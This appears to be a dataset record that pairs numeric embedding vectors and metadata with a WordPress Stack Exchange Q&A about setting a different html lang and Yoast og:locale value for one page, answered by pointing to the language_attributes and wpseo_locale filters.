0.020111083984375,
-0.05120849609375,
0.013580322265625,
-0.0190582275390625,
-0.04425048828125,
0.0170135498046875,
-0.0203094482421875,
0.028472900390625,
0.025054931640625,
0.0192413330078125,
-0.06365966796875,
-0.0013427734375,
0.011627197265625,
-0.06256103515625,
-0.005794525146484375,
0.01461029052734375,
-0.0274658203125,
-0.037689208984375,
0.033538818359375,
-0.015594482421875,
-0.0689697265625,
-0.054962158203125,
-0.030059814453125,
0.015960693359375,
-0.0452880859375,
0.0065765380859375,
0.04461669921875,
-0.041534423828125,
-0.00757598876953125,
-0.0175628662109375,
0.0122528076171875,
0.0221710205078125,
0.0458984375,
-0.02947998046875,
0.0362548828125,
-0.0201416015625,
-0.0301971435546875,
-0.045654296875,
0.051025390625,
-0.01505279541015625,
-0.021636962890625,
0.0217742919921875,
-0.006313323974609375,
0.0110015869140625,
-0.037078857421875,
-0.0127410888671875,
-0.008514404296875,
0.03009033203125,
-0.046966552734375,
0.00995635986328125,
-0.0280303955078125,
-0.0009436607360839844,
-0.031524658203125,
0.0501708984375,
-0.03363037109375,
-0.01326751708984375,
-0.0109100341796875,
0.0098114013671875,
-0.0021209716796875,
-0.0391845703125,
-0.0102386474609375,
-0.0106964111328125,
-0.0217742919921875,
0.003948211669921875,
-0.01499176025390625,
-0.00676727294921875,
0.0031585693359375,
-0.0364990234375,
-0.009124755859375,
-0.036834716796875,
0.030059814453125,
-0.01436614990234375,
-0.00830841064453125,
0.0274505615234375,
0.0005998611450195312,
-0.0194549560546875,
-0.004665374755859375,
-0.023284912109375,
-0.1468505859375,
-0.0189666748046875,
-0.041107177734375,
0.1090087890625,
0.01088714599609375,
-0.0160675048828125,
-0.02301025390625,
0.06207275390625,
-0.0011816024780273438,
-0.0360107421875,
0.0254974365234375,
0.006862640380859375,
-0.017822265625,
0.0275115966796875,
0.0036067962646484375,
-0.006244659423828125,
-0.00824737548828125,
0.005214691162109375,
-0.03955078125,
0.00868988037109375,
0.006107330322265625,
0.0184478759765625,
0.052337646484375,
-0.0379638671875,
-0.0231781005859375,
-0.04583740234375,
-0.0333251953125,
-0.0095977783203125,
-0.019805908203125,
-0.0010194778442382812,
-0.03729248046875,
-0.01293182373046875,
0.0194091796875,
-0.030242919921875,
-0.0154266357421875,
0.019744873046875,
0.057891845703125,
0.0225372314453125,
0.0089874267578125,
-0.0024394989013671875,
-0.027923583984375,
0.0274658203125,
-0.0012531280517578125,
0.022979736328125,
0.0179443359375,
-0.013671875,
0.029388427734375,
0.0007848739624023438,
0.042266845703125,
-0.021820068359375,
-0.0178985595703125,
-0.005558013916015625,
-0.044647216796875,
0.04132080078125,
0.0004944801330566406,
0.02606201171875,
0.051544189453125,
-0.0029296875,
-0.0059051513671875,
0.04034423828125,
0.007694244384765625,
-0.042327880859375,
-0.01062774658203125,
-0.0035533905029296875,
-0.007686614990234375,
0.00009310245513916016,
0.0257110595703125,
0.0247344970703125,
0.0303802490234375,
0.00757598876953125,
-0.00601959228515625,
0.0143890380859375,
-0.006473541259765625,
0.041412353515625,
0.044708251953125,
-0.01065826416015625,
0.01142120361328125,
0.07928466796875,
-0.020538330078125,
-0.019439697265625,
-0.0204010009765625,
0.07647705078125,
0.0037326812744140625,
-0.0650634765625,
0.0146636962890625,
0.00013303756713867188,
0.05670166015625,
0.0269775390625,
-0.0091400146484375,
0.073974609375,
0.0055084228515625,
-0.0254058837890625,
-0.00928497314453125,
-0.05279541015625,
-0.011505126953125,
-0.060638427734375,
0.02459716796875,
-0.0316162109375,
0.01369476318359375,
0.0269012451171875,
0.043060302734375,
-0.0221099853515625,
0.054290771484375,
-0.0074462890625,
-0.005306243896484375,
0.01177978515625,
0.0377197265625,
0.024749755859375,
-0.052978515625,
0.036163330078125,
-0.01611328125,
0.045867919921875,
-0.047882080078125,
-0.039947509765625,
-0.0239410400390625,
0.01824951171875,
-0.046478271484375,
-0.006103515625,
0.055755615234375,
0.03369140625,
0.0024623870849609375,
0.050567626953125,
-0.0186767578125,
-0.0241241455078125,
-0.039215087890625,
-0.0282440185546875,
0.060791015625,
-0.041748046875,
-0.00457763671875,
0.0218963623046875,
-0.0153045654296875,
0.0130157470703125,
-0.02764892578125,
-0.035064697265625,
-0.004566192626953125,
0.0253448486328125,
-0.001171112060546875,
-0.0399169921875,
-0.00760650634765625,
-0.07135009765625,
0.0013952255249023438,
-0.0212860107421875,
-0.0013561248779296875,
0.042236328125,
-0.056610107421875,
-0.0029850006103515625,
0.008544921875,
0.01332855224609375,
0.0108489990234375,
0.036529541015625,
-0.006206512451171875,
0.0024318695068359375,
-0.0174713134765625,
0.00472259521484375,
-0.02813720703125,
-0.037445068359375,
0.0015630722045898438,
0.01319122314453125,
-0.05096435546875,
-0.0015363693237304688,
0.001674652099609375,
0.01221466064453125,
-0.0133514404296875,
-0.0162200927734375,
-0.0180816650390625,
0.0426025390625,
0.0257415771484375,
0.06512451171875,
-0.0135955810546875,
0.02789306640625,
-0.0124359130859375,
0.033294677734375,
-0.0098724365234375,
0.0024929046630859375,
-0.0034961700439453125,
-0.0194091796875,
0.046905517578125,
0.0280609130859375,
-0.034149169921875,
-0.0255279541015625,
0.0016717910766601562,
-0.0487060546875,
0.02978515625,
-0.03131103515625,
0.007476806640625,
-0.017364501953125,
0.0160369873046875,
-0.019927978515625,
0.020843505859375,
-0.0254364013671875,
-0.0225677490234375,
0.0350341796875,
-0.0243988037109375,
-0.034820556640625,
-0.0114898681640625,
-0.002742767333984375,
0.013519287109375,
0.00803375244140625,
-0.0264892578125,
-0.023468017578125,
0.007740020751953125,
0.03704833984375,
0.06158447265625,
-0.016998291015625,
0.0222930908203125,
0.04351806640625,
-0.0089263916015625,
-0.0121917724609375,
-0.01232147216796875,
-0.0243072509765625,
-0.025390625,
0.02008056640625,
0.013031005859375,
0.0020008087158203125,
0.03509521484375,
-0.0010194778442382812,
0.04095458984375,
0.07379150390625,
0.10723876953125,
-0.10382080078125,
0.0262298583984375,
0.038421630859375,
-0.01395416259765625,
0.039337158203125,
-0.026214599609375,
0.0238037109375,
0.0194549560546875,
0.0219268798828125,
-0.006557464599609375,
-0.030548095703125,
0.0001042485237121582,
-0.0207977294921875,
0.0016326904296875,
0.0025081634521484375,
0.0728759765625,
0.020904541015625,
-0.04931640625,
0.01546478271484375,
0.0280914306640625,
0.010894775390625,
0.018524169921875,
0.0066986083984375,
-0.03643798828125,
-0.0582275390625,
-0.07379150390625,
-0.06134033203125,
-0.011016845703125,
-0.0421142578125,
-0.0011587142944335938,
-0.010955810546875,
0.041259765625,
0.0538330078125,
-0.0010099411010742188,
-0.00647735595703125,
0.02752685546875,
-0.0038013458251953125,
-0.006237030029296875,
-0.0198211669921875,
0.037109375,
0.06671142578125,
-0.06072998046875,
0.03369140625,
-0.0027179718017578125,
-0.00843048095703125,
0.0007648468017578125,
0.044036865234375,
0.10595703125,
-0.054595947265625,
-0.0274505615234375,
0.005733489990234375,
0.0018825531005859375,
0.018218994140625,
-0.0272064208984375,
0.0078582763671875,
-0.041473388671875,
0.0118560791015625,
-0.02471923828125,
-0.0023365020751953125,
-0.00907135009765625,
-0.028289794921875,
-0.02197265625,
0.040985107421875,
-0.0113372802734375,
-0.01371002197265625,
0.0294189453125,
0.01068115234375,
-0.0207977294921875,
0.0004215240478515625,
0.00519561767578125,
0.06280517578125,
0.0396728515625,
0.04364013671875,
-0.024627685546875,
-0.0294647216796875,
0.045257568359375,
0.07244873046875,
0.040771484375,
0.00719451904296875,
0.00824737548828125,
0.01287078857421875,
0.038330078125,
-0.0265045166015625,
-0.040313720703125,
0.0246429443359375,
0.0004048347473144531,
0.010711669921875,
0.004802703857421875,
-0.0401611328125,
0.037750244140625,
-0.0377197265625,
-0.005523681640625,
0.0213470458984375,
0.0117340087890625,
-0.00447845458984375,
0.0128021240234375,
-0.01148223876953125,
-0.007106781005859375,
0.0013227462768554688,
0.0010242462158203125,
0.0316162109375,
0.0036945343017578125,
0.038818359375,
0.04571533203125,
-0.043304443359375,
-0.0307159423828125,
-0.0185546875,
0.04217529296875,
0.0159454345703125,
0.0001442432403564453,
0.0077972412109375,
0.01210784912109375,
0.03631591796875,
0.003017425537109375,
-0.006988525390625,
0.035003662109375,
-0.01168060302734375,
-0.02679443359375,
0.0130767822265625,
0.0246734619140625,
0.01110076904296875,
0.03131103515625,
-0.0021572113037109375,
-0.0350341796875,
-0.00872039794921875,
-0.07012939453125,
-0.0038051605224609375,
-0.0293426513671875,
0.00836181640625,
0.00408172607421875,
-0.015869140625,
-0.0130462646484375,
0.02923583984375,
-0.0237884521484375,
-0.0120697021484375,
0.003696441650390625,
0.0070953369140625,
-0.0043792724609375,
0.03448486328125,
0.0186309814453125,
-0.034088134765625,
-0.06396484375,
0.0037326812744140625,
0.02374267578125,
0.06463623046875,
0.045379638671875,
0.0024204254150390625,
0.0077972412109375,
-0.032470703125,
-0.042388916015625,
0.048858642578125,
-0.02386474609375,
0.05792236328125,
-0.034515380859375,
-0.0131072998046875,
-0.0291595458984375,
0.03643798828125,
0.0053253173828125,
-0.0121612548828125,
0.0545654296875,
0.047027587890625,
-0.061187744140625,
-0.021331787109375,
0.032501220703125,
-0.0181121826171875,
-0.052032470703125,
-0.057159423828125,
0.0041656494140625,
0.0333251953125,
0.0122222900390625,
0.03985595703125,
-0.006015777587890625,
0.022491455078125,
0.0071868896484375,
0.0012865066528320312,
0.0131072998046875,
-0.01003265380859375,
0.0012445449829101562,
-0.030059814453125,
-0.0211181640625,
0.01116943359375,
-0.00750732421875,
-0.0176849365234375,
-0.0157012939453125,
0.007228851318359375,
0.003902435302734375,
0.026580810546875,
0.044036865234375,
-0.01715087890625,
0.036224365234375,
0.010986328125,
-0.0034027099609375,
-0.0242767333984375,
0.0176239013671875,
-0.017547607421875,
0.00865936279296875,
-0.00075531005859375,
-0.00817108154296875,
-0.01641845703125,
-0.005680084228515625,
0.043212890625,
0.045745849609375,
0.09234619140625,
-0.023193359375,
0.02423095703125,
-0.04156494140625,
0.01076507568359375,
-0.01172637939453125,
-0.031219482421875,
-0.0016489028930664062,
0.0284423828125,
0.0021762847900390625,
-0.00897979736328125,
-0.040985107421875,
0.08349609375,
-0.00010210275650024414,
0.01544189453125,
0.07012939453125,
-0.0341796875,
0.0004878044128417969,
-0.0160064697265625,
0.0139007568359375,
-0.0181732177734375,
-0.06402587890625,
-0.002834320068359375,
0.05023193359375,
-0.0238494873046875,
0.03253173828125,
0.007755279541015625,
0.002452850341796875,
0.01015472412109375,
-0.0277557373046875,
0.0200958251953125,
-0.0086669921875,
0.025115966796875,
0.02886962890625,
-0.005092620849609375,
-0.017333984375,
-0.0169830322265625,
-0.02191162109375,
-0.0152130126953125,
0.0021572113037109375,
0.03363037109375,
-0.0242156982421875,
0.02392578125,
-0.002117156982421875,
0.01117706298828125,
0.01451873779296875,
-0.0296783447265625,
-0.002208709716796875,
0.018829345703125,
-0.00850677490234375,
0.0174102783203125,
-0.0002486705780029297,
0.0005884170532226562,
0.01270294189453125,
-0.0274200439453125,
0.007904052734375,
-0.006137847900390625,
-0.020355224609375,
0.0030765533447265625,
-0.0018663406372070312,
0.044036865234375,
-0.01153564453125,
-0.0226593017578125,
-0.006134033203125,
-0.02679443359375,
0.037353515625,
0.006031036376953125,
0.004970550537109375,
-0.00434112548828125,
0.01221466064453125,
-0.0198516845703125,
-0.04736328125,
-0.0286712646484375,
0.059906005859375,
-0.0301971435546875,
0.0016193389892578125,
0.040863037109375,
-0.00882720947265625,
-0.02752685546875,
-0.018707275390625,
-0.0021953582763671875,
0.0364990234375,
-0.046722412109375,
-0.00806427001953125,
-0.00882720947265625,
0.033477783203125,
-0.023040771484375,
-0.050933837890625,
0.0121307373046875,
-0.043304443359375,
-0.012481689453125,
0.026824951171875,
-0.044189453125,
-0.0250701904296875,
-0.057708740234375,
-0.0677490234375,
0.06512451171875,
-0.0032711029052734375,
-0.0272369384765625,
-0.01369476318359375,
-0.005435943603515625,
-0.0102691650390625,
0.025299072265625,
0.005718231201171875,
-0.0165252685546875,
-0.033966064453125,
0.00984954833984375,
-0.0006041526794433594,
-0.01629638671875,
0.048065185546875,
-0.0157470703125,
-0.03466796875,
0.00634765625,
0.023895263671875,
-0.0189208984375,
-0.0015134811401367188,
-0.0185089111328125,
0.054656982421875,
0.0210723876953125,
-0.0400390625,
0.0615234375,
0.0223236083984375,
0.045684814453125,
-0.010406494140625,
-0.0328369140625,
-0.0186920166015625,
-0.038787841796875,
0.095947265625,
-0.0172882080078125,
0.0164947509765625,
0.0066070556640625,
-0.043609619140625,
-0.0338134765625,
-0.0158538818359375,
-0.01947021484375,
0.01470947265625,
-0.067626953125,
0.008453369140625,
-0.001110076904296875,
0.013336181640625,
-0.0001308917999267578,
-0.026824951171875,
-0.0103912353515625,
-0.021575927734375,
0.0208740234375,
0.01470947265625,
-0.0146484375,
-0.06640625,
0.01345062255859375,
-0.01326751708984375,
-0.0034084320068359375,
-0.006988525390625,
0.046142578125,
-0.0163116455078125,
0.018463134765625,
0.006328582763671875,
0.042236328125,
-0.050048828125,
0.0017938613891601562,
0.00921630859375,
0.01474761962890625,
-0.036651611328125,
0.005584716796875,
-0.002819061279296875,
-0.00689697265625,
-0.005649566650390625,
0.007904052734375,
0.0178070068359375,
-0.0270233154296875,
-0.017486572265625,
0.0291290283203125,
-0.000827789306640625,
0.038055419921875,
-0.0247344970703125,
0.049957275390625,
-0.019683837890625,
-0.0084228515625,
-0.00567626953125,
0.000050187110900878906,
0.0272979736328125,
0.035675048828125,
0.06365966796875,
-0.018646240234375,
0.03485107421875,
0.059051513671875,
0.034912109375,
0.0158843994140625
] |
4518019450a4124857cc4b1a8dcaa85c40c0c8e3
|
Wordpress Stackexchange
Q: Change content language for one page I have one page witch has a different language then the rest of the site.
I looked in to many plugins but I can't find a way to chance the content language <html lang="nl-NL" prefix="og: http://ogp.me/ns#"> for just one page.
I use Yoast SEO and he uses <meta property='og:locale' content='nl_NL'/> and that also needs to be en_us
A: Likely you will need to do a bit of custom filtering to get this done.
HTML part likely comes from language_attributes() function and passes through language_attributes filter.
WP SEO part comes from WPSEO_OpenGraph->locale() and passes through wpseo_locale filter.
|
Q: Change content language for one page I have one page witch has a different language then the rest of the site.
I looked in to many plugins but I can't find a way to chance the content language <html lang="nl-NL" prefix="og: http://ogp.me/ns#"> for just one page.
I use Yoast SEO and he uses <meta property='og:locale' content='nl_NL'/> and that also needs to be en_us
A: Likely you will need to do a bit of custom filtering to get this done.
HTML part likely comes from language_attributes() function and passes through language_attributes filter.
WP SEO part comes from WPSEO_OpenGraph->locale() and passes through wpseo_locale filter.
|
wordpress
|
{
"language": "en",
"length": 103,
"provenance": "stackexchange_00019.jsonl.gz:437453",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/115280"
}
|
[
0.00901031494140625,
-0.0171356201171875,
-0.0166473388671875,
0.00659942626953125,
-0.0143280029296875,
-0.016510009765625,
0.01230621337890625,
-0.0162200927734375,
0.01369476318359375,
-0.0022907257080078125,
0.01580810546875,
-0.00626373291015625,
-0.01593017578125,
-0.04791259765625,
0.0279541015625,
-0.002216339111328125,
0.0216522216796875,
-0.002918243408203125,
0.007701873779296875,
-0.00685882568359375,
-0.0004398822784423828,
-0.001659393310546875,
0.0022563934326171875,
-0.0008697509765625,
0.05523681640625,
-0.06884765625,
0.0239105224609375,
0.007114410400390625,
0.01528167724609375,
-0.0040435791015625,
0.032135009765625,
-0.0007348060607910156,
0.0204925537109375,
-0.0153961181640625,
-0.0149078369140625,
-0.08258056640625,
-0.0235748291015625,
-0.007144927978515625,
-0.04248046875,
0.02490234375,
0.0399169921875,
-0.037017822265625,
-0.0037403106689453125,
0.08154296875,
0.00865936279296875,
-0.057342529296875,
0.0438232421875,
-0.07550048828125,
0.02569580078125,
-0.00931549072265625,
0.034881591796875,
-0.035064697265625,
0.02789306640625,
-0.019561767578125,
-0.038177490234375,
-0.01226806640625,
-0.034332275390625,
0.017547607421875,
-0.005908966064453125,
-0.0004830360412597656,
0.01358795166015625,
0.04754638671875,
0.0014696121215820312,
0.046112060546875,
-0.03924560546875,
-0.00449371337890625,
-0.03643798828125,
0.0036907196044921875,
-0.0489501953125,
-0.042510986328125,
0.039093017578125,
-0.0225677490234375,
0.016021728515625,
-0.031097412109375,
0.004718780517578125,
0.0224761962890625,
-0.02154541015625,
-0.00269317626953125,
0.0165863037109375,
-0.006389617919921875,
0.01324462890625,
0.0160980224609375,
0.0017747879028320312,
-0.08251953125,
0.0247802734375,
-0.04620361328125,
-0.007205963134765625,
0.003116607666015625,
-0.0830078125,
-0.005706787109375,
-0.049163818359375,
0.037261962890625,
-0.067626953125,
-0.0301055908203125,
-0.0303955078125,
0.017181396484375,
-0.007061004638671875,
0.03118896484375,
0.01092529296875,
0.0052642822265625,
0.0251617431640625,
-0.04443359375,
0.0186614990234375,
-0.03070068359375,
0.01611328125,
-0.00818634033203125,
-0.0164031982421875,
0.03973388671875,
0.08258056640625,
0.03961181640625,
0.0013570785522460938,
0.07586669921875,
-0.01348876953125,
0.01055145263671875,
-0.0338134765625,
0.0222625732421875,
-0.030792236328125,
-0.0090179443359375,
-0.0210723876953125,
0.0124969482421875,
0.01629638671875,
0.0227203369140625,
0.0239715576171875,
-0.05682373046875,
-0.0198516845703125,
-0.058319091796875,
-0.0660400390625,
0.0160980224609375,
-0.0247650146484375,
-0.0139312744140625,
-0.01953125,
0.00696563720703125,
0.039276123046875,
0.0765380859375,
0.018524169921875,
0.004352569580078125,
0.03741455078125,
0.0214691162109375,
0.0157928466796875,
0.026885986328125,
-0.0386962890625,
-0.0163726806640625,
0.031463623046875,
-0.004138946533203125,
-0.03607177734375,
-0.019195556640625,
0.010284423828125,
0.06011962890625,
0.00765228271484375,
-0.05462646484375,
0.033843994140625,
0.015869140625,
0.032073974609375,
-0.029998779296875,
-0.01285552978515625,
-0.05303955078125,
-0.00826263427734375,
-0.02740478515625,
0.0171661376953125,
-0.032073974609375,
-0.019378662109375,
-0.03204345703125,
-0.0004298686981201172,
-0.01373291015625,
-0.0282745361328125,
0.019989013671875,
-0.00579071044921875,
0.00750732421875,
0.009124755859375,
0.000732421875,
-0.00861358642578125,
0.0220947265625,
-0.036041259765625,
-0.018646240234375,
0.00023293495178222656,
0.0012226104736328125,
-0.046356201171875,
0.03228759765625,
0.0120697021484375,
0.03802490234375,
0.040863037109375,
-0.0299072265625,
0.057373046875,
0.028228759765625,
-0.050628662109375,
0.02642822265625,
0.01103973388671875,
0.031951904296875,
0.0269317626953125,
0.004486083984375,
0.025970458984375,
0.0211639404296875,
-0.0236968994140625,
-0.01763916015625,
0.0249176025390625,
0.00008058547973632812,
-0.021484375,
-0.01027679443359375,
0.01031494140625,
-0.0135650634765625,
0.0623779296875,
-0.0203857421875,
0.014312744140625,
0.011383056640625,
-0.0253448486328125,
-0.01299285888671875,
-0.00852203369140625,
-0.0033550262451171875,
-0.0029239654541015625,
-0.00704193115234375,
-0.00002944469451904297,
-0.002960205078125,
0.00963592529296875,
-0.055816650390625,
-0.031341552734375,
-0.0008368492126464844,
-0.0128173828125,
0.007328033447265625,
0.0202178955078125,
0.01479339599609375,
0.053497314453125,
-0.02716064453125,
0.02313232421875,
0.0024662017822265625,
0.0267486572265625,
0.02093505859375,
-0.028656005859375,
0.0018033981323242188,
0.0148162841796875,
0.00461578369140625,
-0.012664794921875,
0.04168701171875,
0.0016002655029296875,
0.01549530029296875,
0.007175445556640625,
-0.00035119056701660156,
0.030120849609375,
-0.07122802734375,
0.013031005859375,
0.040496826171875,
0.029266357421875,
0.0207977294921875,
0.0113067626953125,
0.0321044921875,
0.060302734375,
0.0113525390625,
0.02728271484375,
-0.00817108154296875,
0.02850341796875,
0.046630859375,
-0.007549285888671875,
-0.0268707275390625,
0.011749267578125,
-0.0462646484375,
-0.00078582763671875,
0.0328369140625,
-0.0272064208984375,
-0.0214080810546875,
0.022491455078125,
-0.01293182373046875,
0.0105133056640625,
0.0228729248046875,
-0.008209228515625,
0.01409912109375,
0.033203125,
-0.021270751953125,
0.037933349609375,
0.026275634765625,
-0.003322601318359375,
-0.007099151611328125,
0.005245208740234375,
0.0291900634765625,
0.006031036376953125,
0.03436279296875,
-0.04315185546875,
0.0198822021484375,
-0.01428985595703125,
0.00537109375,
0.0091552734375,
0.0220947265625,
-0.0027599334716796875,
0.004405975341796875,
-0.00817108154296875,
-0.0068359375,
0.0310211181640625,
-0.0290374755859375,
-0.0129852294921875,
0.0044708251953125,
0.01433563232421875,
-0.00438690185546875,
0.02020263671875,
0.003955841064453125,
-0.039031982421875,
0.049224853515625,
-0.015960693359375,
-0.028839111328125,
0.03033447265625,
-0.0394287109375,
0.034027099609375,
-0.04901123046875,
0.06170654296875,
0.05950927734375,
-0.031341552734375,
0.0255279541015625,
0.0178985595703125,
-0.039764404296875,
0.004032135009765625,
0.0220489501953125,
0.00829315185546875,
0.0181121826171875,
-0.07244873046875,
0.01910400390625,
-0.01393890380859375,
-0.056396484375,
-0.015472412109375,
-0.0209808349609375,
-0.03619384765625,
-0.04705810546875,
-0.113525390625,
-0.054412841796875,
-0.0004286766052246094,
-0.02685546875,
0.03729248046875,
0.01161956787109375,
-0.0003654956817626953,
-0.04443359375,
0.02752685546875,
0.01053619384765625,
0.005664825439453125,
-0.01470947265625,
-0.07135009765625,
-0.029052734375,
-0.04083251953125,
0.0217132568359375,
-0.014068603515625,
-0.0105438232421875,
0.0141143798828125,
-0.052276611328125,
-0.00463104248046875,
-0.0189361572265625,
0.00579071044921875,
0.095458984375,
-0.0167083740234375,
-0.032257080078125,
-0.0234222412109375,
-0.03802490234375,
0.035430908203125,
-0.006488800048828125,
-0.0014743804931640625,
0.0201873779296875,
-0.00439453125,
-0.007411956787109375,
-0.022674560546875,
0.0121917724609375,
0.0267333984375,
-0.050079345703125,
-0.00521087646484375,
0.053863525390625,
0.01137542724609375,
-0.01617431640625,
-0.0601806640625,
0.031707763671875,
-0.0528564453125,
-0.00594329833984375,
0.0279083251953125,
-0.020721435546875,
-0.018524169921875,
0.019439697265625,
-0.00983428955078125,
-0.01161956787109375,
0.0413818359375,
-0.042694091796875,
-0.00011521577835083008,
-0.00994873046875,
-0.027618408203125,
0.0007882118225097656,
0.0222320556640625,
-0.01013946533203125,
-0.0087432861328125,
0.01036834716796875,
0.006443023681640625,
0.00710296630859375,
0.0073394775390625,
0.0055999755859375,
-0.0143890380859375,
0.0160064697265625,
-0.03704833984375,
0.0177459716796875,
0.0001329183578491211,
-0.020050048828125,
-0.00469970703125,
0.063232421875,
-0.03668212890625,
-0.01068878173828125,
0.020355224609375,
0.0309906005859375,
-0.03863525390625,
-0.048736572265625,
-0.046295166015625,
-0.022430419921875,
-0.0284576416015625,
-0.005161285400390625,
-0.003391265869140625,
-0.00650787353515625,
-0.043243408203125,
0.04754638671875,
-0.044219970703125,
-0.03515625,
0.031829833984375,
-0.006504058837890625,
0.002216339111328125,
0.01105499267578125,
-0.038330078125,
0.020843505859375,
-0.047637939453125,
-0.003925323486328125,
-0.055572509765625,
-0.01702880859375,
-0.026824951171875,
0.075927734375,
0.0233154296875,
-0.036407470703125,
-0.014251708984375,
0.0479736328125,
-0.0035762786865234375,
0.04681396484375,
-0.006481170654296875,
-0.00960540771484375,
0.056243896484375,
0.0011663436889648438,
0.00937652587890625,
-0.007770538330078125,
-0.0035400390625,
0.0283660888671875,
-0.054962158203125,
0.062286376953125,
0.009552001953125,
0.03369140625,
0.036224365234375,
-0.0523681640625,
-0.0657958984375,
-0.0283660888671875,
-0.018157958984375,
-0.00876617431640625,
-0.004505157470703125,
-0.001392364501953125,
-0.014801025390625,
-0.05206298828125,
0.057281494140625,
0.016693115234375,
-0.034027099609375,
0.004634857177734375,
-0.00737762451171875,
-0.00043392181396484375,
-0.048736572265625,
-0.097412109375,
-0.000017642974853515625,
0.03485107421875,
-0.0046844482421875,
0.0662841796875,
0.0302276611328125,
-0.0281524658203125,
0.10455322265625,
0.0016994476318359375,
-0.02191162109375,
0.0148162841796875,
0.040313720703125,
-0.0016355514526367188,
-0.026336669921875,
0.034149169921875,
-0.012603759765625,
-0.0240631103515625,
-0.00792694091796875,
-0.0156097412109375,
0.0160980224609375,
0.0037403106689453125,
0.01395416259765625,
0.01282501220703125,
-0.0255889892578125,
-0.03790283203125,
-0.0615234375,
0.0220184326171875,
0.0237274169921875,
-0.01531982421875,
-0.006130218505859375,
0.01064300537109375,
0.01027679443359375,
0.04022216796875,
-0.0084381103515625,
0.04290771484375,
0.038330078125,
0.0018587112426757812,
0.0234527587890625,
0.0146331787109375,
-0.029449462890625,
0.00528717041015625,
-0.020172119140625,
0.052703857421875,
0.022918701171875,
-0.055328369140625,
0.06341552734375,
-0.006191253662109375,
0.0185699462890625,
0.023040771484375,
0.020660400390625,
-0.0037746429443359375,
-0.00946044921875,
-0.01239776611328125,
0.01337432861328125,
0.03094482421875,
-0.0074615478515625,
-0.02667236328125,
0.005046844482421875,
0.0256195068359375,
-0.029998779296875,
0.01544952392578125,
0.0019159317016601562,
-0.0244140625,
0.0029811859130859375,
0.005039215087890625,
-0.03338623046875,
-0.0276336669921875,
0.0487060546875,
0.0218963623046875,
-0.0310211181640625,
-0.0014982223510742188,
0.02923583984375,
0.0284881591796875,
0.004169464111328125,
0.027679443359375,
0.043304443359375,
0.029937744140625,
0.00299835205078125,
-0.0186309814453125,
-0.02239990234375,
-0.0264892578125,
0.01488494873046875,
0.020538330078125,
0.021881103515625,
-0.017852783203125,
-0.00763702392578125,
-0.0005502700805664062,
0.00997161865234375,
-0.008636474609375,
-0.0115509033203125,
-0.038787841796875,
-0.0400390625,
-0.0251922607421875,
0.04388427734375,
-0.056396484375,
0.016357421875,
0.0034847259521484375,
0.01033782958984375,
-0.01136016845703125,
-0.01343536376953125,
-0.053131103515625,
0.00450897216796875,
-0.0173797607421875,
0.0112152099609375,
0.030670166015625,
-0.004421234130859375,
0.046478271484375,
0.00251007080078125,
-0.056427001953125,
0.033355712890625,
0.0172882080078125,
0.02227783203125,
-0.01727294921875,
-0.00614166259765625,
-0.01021575927734375,
-0.047332763671875,
-0.0380859375,
-0.007450103759765625,
-0.02386474609375,
-0.0390625,
-0.005077362060546875,
-0.0014066696166992188,
0.034393310546875,
-0.0173492431640625,
0.0302581787109375,
0.0169830322265625,
0.0174407958984375,
-0.034759521484375,
0.05523681640625,
-0.05047607421875,
0.1011962890625,
-0.01947021484375,
0.0477294921875,
-0.015960693359375,
0.055084228515625,
0.0269012451171875,
-0.012603759765625,
-0.0008635520935058594,
-0.0232391357421875,
-0.004451751708984375,
0.0199127197265625,
-0.05682373046875,
-0.0084686279296875,
0.041351318359375,
0.009429931640625,
0.038055419921875,
-0.005828857421875,
0.01189422607421875,
-0.01849365234375,
-0.01239776611328125,
-0.046295166015625,
-0.005489349365234375,
0.036041259765625,
-0.0259552001953125,
0.03192138671875,
-0.02679443359375,
0.0191802978515625,
0.01351165771484375,
-0.04046630859375,
0.0180816650390625,
0.031402587890625,
0.0254974365234375,
-0.0060577392578125,
0.025604248046875,
-0.0014047622680664062,
0.0472412109375,
0.007556915283203125,
0.0239105224609375,
0.0250091552734375,
-0.0248260498046875,
0.0121002197265625,
0.019378662109375,
-0.018768310546875,
-0.048675537109375,
0.032470703125,
-0.0228424072265625,
0.0031070709228515625,
0.032867431640625,
0.09271240234375,
0.07244873046875,
-0.1549072265625,
0.031707763671875,
0.0233612060546875,
0.0170440673828125,
0.0297698974609375,
0.0092315673828125,
-0.039215087890625,
-0.06109619140625,
-0.0088958740234375,
-0.001010894775390625,
-0.030181884765625,
-0.01434326171875,
0.0286407470703125,
-0.0171966552734375,
-0.0242462158203125,
0.0138702392578125,
0.0162506103515625,
-0.01528167724609375,
0.01459503173828125,
0.00665283203125,
0.014984130859375,
-0.039031982421875,
-0.007213592529296875,
0.042816162109375,
-0.0098419189453125,
-0.05517578125,
0.05999755859375,
-0.0214385986328125,
-0.0088348388671875,
-0.0247650146484375,
0.0306396484375,
-0.0283050537109375,
0.0526123046875,
-0.03131103515625,
-0.019927978515625,
0.02496337890625,
-0.02374267578125,
-0.0187225341796875,
-0.01177978515625,
-0.0020046234130859375,
0.031036376953125,
-0.041412353515625,
0.0095367431640625,
-0.034454345703125,
0.0115509033203125,
0.0033111572265625,
-0.02716064453125,
0.00970458984375,
0.00356292724609375,
-0.0068359375,
0.0254669189453125,
-0.012939453125,
0.0025787353515625,
0.0084075927734375,
-0.021697998046875,
-0.018707275390625,
-0.0024013519287109375,
-0.00014925003051757812,
-0.01508331298828125,
-0.007480621337890625,
0.00885009765625,
-0.10247802734375,
0.07598876953125,
0.036041259765625,
0.062408447265625,
-0.0005550384521484375,
0.0261383056640625,
-0.039520263671875,
-0.03472900390625,
-0.03546142578125,
0.031890869140625,
-0.005645751953125,
0.04241943359375,
-0.0167388916015625,
0.0161895751953125,
0.017059326171875,
0.00785064697265625,
0.0113677978515625,
0.00885009765625,
-0.0095977783203125,
-0.023895263671875,
-0.00860595703125,
0.0031452178955078125,
-0.0186920166015625,
0.031494140625,
-0.03594970703125,
0.042999267578125,
-0.01995849609375,
-0.043609619140625,
0.025115966796875,
-0.038726806640625,
-0.06591796875,
-0.005687713623046875,
-0.002521514892578125,
-0.0307159423828125,
0.049407958984375,
-0.0047454833984375,
-0.08270263671875,
0.036468505859375,
0.036041259765625,
0.0141143798828125,
0.005794525146484375,
0.043670654296875,
0.037139892578125,
-0.0247344970703125,
-0.04931640625,
-0.021240234375,
0.042083740234375,
-0.00026702880859375,
0.04742431640625,
0.03533935546875,
0.024017333984375,
0.0634765625,
-0.020782470703125,
0.0274810791015625,
0.0015344619750976562,
-0.0064697265625,
